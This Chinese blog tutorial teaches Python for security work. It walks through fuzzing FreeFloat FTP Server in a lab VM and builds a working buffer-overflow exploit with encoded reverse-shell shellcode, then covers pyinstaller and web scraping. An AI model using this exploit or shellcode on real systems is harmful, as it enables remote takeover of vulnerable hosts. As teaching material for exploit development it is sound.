Python黑客学习笔记:从HelloWorld到编写PoC(中)

  • A+
所属分类:Python

本系列文章适合CS在读学生和万年工具党,本文会在英文原文的基础上做些修改,并适当增加些解释说明。

上篇回顾

传送门:Python黑客学习笔记:从HelloWorld到编写PoC(上)

目录

0x3 – Fuzzer (编写fuzz测试脚本)
0x4 – Python to EXE (生成exe)
0x5 – Web Requests (用Python处理Web请求) 0×3–Fuzzer(编写fuzz测试脚本)

Fuzz(Fuzz-testing)测试是利用“暴力“来实现对目标程序的自动化测试,然后件事检查其最后的结果,如果符合某种情况就认为程序可能存在某种漏洞或者问题。这里的“暴力”指不断的向目标程序发送或者传递不同格式的数据(不遵守软件规定的数据格式即“畸形数据”)来测试目标程序的反应。

本节目标

在本节中用一个例子演示对一个FTPserver的fuzz,并发现缓冲区溢出漏洞,继而获得系统的控制权限。

主要:编写使用fuzz脚本,观察程序运行和EIP寄存器发生的变化。
次要:缓冲区溢出利用的编写

准备环境

带有Python环境和Metasploit的机器,作者使用的是KaliLinux,在本例中的IP:192.168.199.176。

目标软件:FreefloatFTPserver 
虚拟机:VMware,Virtualbox等,并安装32位winXP系统,在本例中的IP:192.168.199.230。
下载并安装Immunitydebugger(请到官网下载正版,否则调用mona时会报错),Mona.py和FreefloatFTPserver

准备知识

汇编与EIP:当执行高级语言编译成的程序后,CPU将会逐条执行EIP寄存器(16位汇编称为IP寄存器)中指向的程序中的每条指令,这些指令变成人类可读的形式后便成为汇编指令。本节尽量避免对汇编的讲解,但需要读者知道的是本节的fuzz程序执行的结果,将会通过Immunitydebugger检查正在运行的软件的EIP情况并对EIP指向的指令进行覆盖。

缓冲区溢出:当一个程序没有对“用户输入”没有进行严格的限制和检查时,我们可以对“缓存(buffer)“进行覆盖,在本例中将会对EIP指向的内存写入shellcode并用“jmpesp”的方法执行。

‍图片来自Linux内核分析视频的截图

在Fuzz的过程中,Python编写的脚本将发送大量的字符,Fuzz脚本的代码:

import sys, socket
from time import sleep
 
# set first argument given at CLI to 'target' variable
target = sys.argv[1]
# create string of 50 A's '\x41'
#生成50个A,41是‘A’的16进制ascii码
buff = '\x41'*50
#  每次向目标IP地址的21端口发送50个‘A'
# loop through sending in a buffer with an increasing length by 50 A's
while True:
  # The "try - except" catches the programs error and takes our defined action
  try:
    # Make a connection to target system on TCP/21
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(2)
    s.connect((target,21))
    s.recv(1024)
 
    print "Sending buffer with length: "+str(len(buff))
    # Send in string 'USER' + the string 'buff'
    s.send("USER "+buff+"\r\n")
    s.close()
    sleep(1)
    # Increase the buff string by 50 A's and then the loop continues
    buff = buff + '\x41'*50
 
  except: # If we fail to connect to the server, we assume its crashed and print the statement below
    print "[+] Crash occured with buffer length: "+str(len(buff)-50)
    sys.exit()

打开FTPserver并且加载到Immunitydebugger中(File>Attach):

点击Play按钮,并且开始运行fuzz脚本:

从Immunitydebugger的结果上可以看出,EIP是41414141,而恰好41是A的16进制ascii码,也就证明了Fuzz脚本让这个程序不能正常运行了,并且EIP和ESP已经被覆盖。

根据fuzz脚本的回显,我们发送了250个A后程序崩溃,但我们要更精确的测出使用了多少数据才能覆盖EIP:

 开启postgresql数据库,调用metasploit中的pattern_create.rb脚本构造特殊的字符串。

重新打开FTPserver并加载到Immunitydebugger中,执行新的fuzz代码:

import sys, socket
 
target = sys.argv[1]
 
# pattern_create.rb 600 - creates a unique string of 600 bytes
# The 4 byte value that overwrites EIP will be unique and determine offset in buffer where EIP can be controlled
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
 
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print s.recv(2048)
s.send("USER "+buff+"\r\n")
s.close()

将EIP当前的值记下,并使用metasploit中的pattern_offset.rb计算偏移量:

也就是说,当我们向FTPserver发送230个字符后,EIP会被紧跟着的4个字符覆盖,此时程序停止,一旦将shellcode的起始地址覆盖到EIP上的话,shellcode将会被执行。(注意,此时这个漏洞已经被我们发现,余下部分是对这个漏洞的利用,不感兴趣的读者可以直接看下一节)

但要同时将shellcode储存在内存中,可以借用一个jmpesp跳转到shellcode的起始地址,这样就可以执行shellcode了。

使用mona搜索“JMPESP”:

双击最左对应的地址,按F2给这条指令下断点。

修改刚才的fuzz脚本,让EIP指向这条“jmpesp”指令的地址,并在buff后加上\x43。

让ImmunityDebugger运行程序,然后执行fuzz脚本。

按F7继续执行,也就是执行“jmpesp”,但此时esp指向的内容已经是“CCCCC…"

由于43是C的16进制ascii码,结果就继续执行43h的指令了。于是,我们只要将这一串“C”更改为shellcode便可以执行使用msfpayload生成shellcode(注意你的IP地址):

msfpayload windows/shell_reverse_tcp LHOST=192.168.199.176 LPORT=443 R| msfencode -e x86/fnstenv_mov -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -t c

将生成的shellcode添加到fuzz脚本中,这时这段Python已经变成了Expoit:

import sys, socket
target = sys.argv[1]
shellcode = ("\x6a\x4f\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfe\x1f"
        "\xf6\x02\x83\xeb\xfc\xe2\xf4\x02\xf7\x7f\x02\xfe\x1f\x96\x8b"
        "\x1b\x2e\x24\x66\x75\x4d\xc6\x89\xac\x13\x7d\x50\xea\x94\x84"
        "\x2a\xf1\xa8\xbc\x24\xcf\xe0\xc7\xc2\x52\x23\x97\x7e\xfc\x33"
        "\xd6\xc3\x31\x12\xf7\xc5\x1c\xef\xa4\x55\x75\x4d\xe6\x89\xbc"
        "\x23\xf7\xd2\x75\x5f\x8e\x87\x3e\x6b\xbc\x03\x2e\x4f\x7d\x4a"
        "\xe6\x94\xae\x22\xff\xcc\x15\x3e\xb7\x94\xc2\x89\xff\xc9\xc7"
        "\xfd\xcf\xdf\x5a\xc3\x31\x12\xf7\xc5\xc6\xff\x83\xf6\xfd\x62"
        "\x0e\x39\x83\x3b\x83\xe0\xa6\x94\xae\x26\xff\xcc\x90\x89\xf2"
        "\x54\x7d\x5a\xe2\x1e\x25\x89\xfa\x94\xf7\xd2\x77\x5b\xd2\x26"
        "\xa5\x44\x97\x5b\xa4\x4e\x09\xe2\xa6\x40\xac\x89\xec\xf4\x70"
        "\x5f\x96\x2c\xc4\x02\xfe\x77\x81\x71\xcc\x40\xa2\x6a\xb2\x68"
        "\xd0\x05\x01\xca\x4e\x92\xff\x1f\xf6\x2b\x3a\x4b\xa6\x6a\xd7"
        "\x9f\x9d\x02\x01\xca\xa6\x52\xae\x4f\xb6\x52\xbe\x4f\x9e\xe8"
        "\xf1\xc0\x16\xfd\x2b\x96\x31\x6a\x3e\xb7\x31\xb2\x96\x1d\xf6"
        "\x03\x45\x96\x10\x68\xee\x49\xa1\x6a\x67\xba\x82\x63\x01\xca"
        "\x9e\x61\x93\x7b\xf6\x8b\x1d\x48\xa1\x55\xcf\xe9\x9c\x10\xa7"
        "\x49\x14\xff\x98\xd8\xb2\x26\xc2\x1e\xf7\x8f\xba\x3b\xe6\xc4"
        "\xfe\x5b\xa2\x52\xa8\x49\xa0\x44\xa8\x51\xa0\x54\xad\x49\x9e"
        "\x7b\x32\x20\x70\xfd\x2b\x96\x16\x4c\xa8\x59\x09\x32\x96\x17"
        "\x71\x1f\x9e\xe0\x23\xb9\x0e\xaa\x54\x54\x96\xb9\x63\xbf\x63"
        "\xe0\x23\x3e\xf8\x63\xfc\x82\x05\xff\x83\x07\x45\x58\xe5\x70"
        "\x91\x75\xf6\x51\x01\xca\xf6\x02")

buff = "\x90"*230 + "\xD7\x30\x5A\x7D" 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print s.recv(2048)
s.send("USER "+buff+'\x90'*15+shellcode+"\r\n")
s.close()

重启启动FTPserver再次加载到Immunitydebugger中,nc监听生成shellcode时的端口,然后执行Exploit,成功:

0×4–PythontoEXE(生成exe)

本部分教程将会将Python代码变成可执行的文件。这样会在没有安装Python环境的Windows机器上执行你的Python程序。

首先我们需要一些依赖程序:

Linux:sudoapt-getinstallpython2.7build-essentialpython-devzlib1g-devupx

Windows:安装集成了python库的Activepython(http://www.activestate.com/activepython)

                     pyinstaller是一个可以将Python脚本生成为可执行文件的工具:(https://github.com/pyinstaller/pyinstaller)

用来测试的Python脚本:

#!usr/bin/python
import os
os.system("echo Hello World")

   使用pyinstall:

C:\pyinstaller-develop>python pyinstaller.py --onefile hello.py

我们尝试将上篇文章中的反向shell生成为.exe后缀的可执行文件,并在Windows下测试。

0×5–WebRequests(Python与Web)

首先,在这部分开始前,我们做一个小实验,准备一个HTML文件index.html:

<html>
<head>
<title>Hello Python</title>
</head>
<body>
<h1>It Works!</h1>
</body>
</html>

我们在终端中执行:

python -m SimpleHTTPServer

注意回显的端口,本例中是8000端口,在浏览器中输入:

   127.0.0.1:8000

同时在终端中:

当然你也可以终止这条命令再来测试这个地址会不会返回这个的页面。

如果要了解上面的实验发生了什么,首先要了解“你是怎么上网的”。别笑,这个问题确实很严肃。请戳这个链接:当你输入了网址后都发生了什么?(http://igoro.com/archive/what-really-happens-when-you-navigate-to-a-url/)中文版:百度面试题:从输入url到显示网页,后台发生了什么?(http://www.cnblogs.com/rollenholt/archive/2012/03/23/2414345.html)。

我们当然也可以用Python创建或解析请求(requests)和响应(responses)。

再次用Python创建一个http服务端:

python -m SimpleHTTPServer

再打开一个新终端,模拟一次请求并打印响应内容:

alkene:python AlkenePan$ python
Python 2.7.6 (default, Sep  9 2014, 15:04:36) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib
>>> url = "http://127.0.0.1:8000/"
>>> request = urllib.urlopen(url)
>>> response = request.readlines()
>>> print response
['<html>\n', '<head>\n', '\t<title>Hello Python</title>\n', '</head>\n', '<body>\n', '\t<h1>It Works!</h1>\n', '</body>\n', '</html>']
>>>

同样,我们在服务端的回显中也可以查看这次请求:

继续测试其他功能:

>>> dir(request)
['__doc__', '__init__', '__iter__', '__module__', '__repr__', 'close', 'code', 'fileno', 'fp', 'getcode', 'geturl', 'headers', 'info', 'next', 'read', 'readline', 'readlines', 'url']
>>> request.geturl()
'http://127.0.0.1:8000/'
>>> request.getcode()
200
>>> print request.headers
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Thu, 12 Mar 2015 15:26:16 GMT
Content-type: text/html
Content-Length: 93
Last-Modified: Mon, 09 Mar 2015 17:26:55 GMT
>>>

在上面的例子中,html代码并没有被解析,我们可以使用BeautifulSoup(基于HTML标签)模块解析HTML:

仍然开启SimpleHTTPServer,测试代码:

(没有bs4的同学请戳:http://www.crummy.com/software/BeautifulSoup/#Download)

alkene:python AlkenePan$ python
Python 2.7.6 (default, Sep  9 2014, 15:04:36) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib
>>> from bs4 import BeautifulSoup
>>> url = 'http://127.0.0.1:8000/'
>>> request = urllib.urlopen(url)
>>> parsed = BeautifulSoup(request.read())
>>> parsed.title
<title>Hello Python</title>
>>> parsed.body
<body>
<h1>It Works!</h1>
</body>
>>> parsed
<html>
<head>
<title>Hello Python</title>
</head>
<body>
<h1>It Works!</h1>
</body>
</html>
>>> h1 = parsed.find_all('h1')
>>> h1
[<h1>It Works!</h1>]
>>>

更多关于BeautifulSoup的功能:http://www.crummy.com/software/BeautifulSoup/bs4/doc/index.zh.html

实例使用BeautifulSoup解析煎蛋网(jiandan.net)首页文章标题链接:

首先,利用chrome开发人员工具发现煎蛋首页的标题使用<h2>标签。

于是对<h2>进行筛选:

alkene:python AlkenePan$ python
Python 2.7.6 (default, Sep  9 2014, 15:04:36) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import urllib
>>> from bs4 import BeautifulSoup
>>> url = 'http://jiandan.net/'
>>> request = urllib.urlopen(url)
>>> parsed = BeautifulSoup(request.read())
>>> title = parsed.find_all('h2')
>>> title
[<h2><a href="http://jandan.net/2015/03/13/sleep-with-cat.html">主人应该和猫一起睡么?</a></h2>, <h2><a href="http://jandan.net/2015/03/13/skeleton-river-thames.html">在泰晤士河边散步发现,骷髅?!</a></h2>, <h2><a href="http://jandan.net/2015/03/12/big-cat.html">英国最大的猫,体积是普通猫的三倍</a></h2>, <h2><a href="http://jandan.net/2015/03/12/chameleons-color-myth.html">颠覆性发现:变色龙的秘密原来不是色素</a></h2>, <h2><a href="http://jandan.net/2015/03/12/sex-kills-marriage.html">自述:狂野的性欲断送了我的婚姻</a></h2>, <h2><a href="http://jandan.net/2015/03/12/record-breaking-old-runner.html">95岁老人打破200米室内赛跑世界记录</a></h2>, <h2><a href="http://jandan.net/2015/03/12/abortion-pill-smoothie.html">挪威男子不想当爹,骗女友喝掺了堕胎药的沙冰</a></h2>, <h
...
...
...

#注意:原文中的代码为:parsed=BeautifulSoup(request.read(),"lxml"),本文中去掉了“lxml”的参数。

下期会继续Web方面的内容,敬请期待!

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: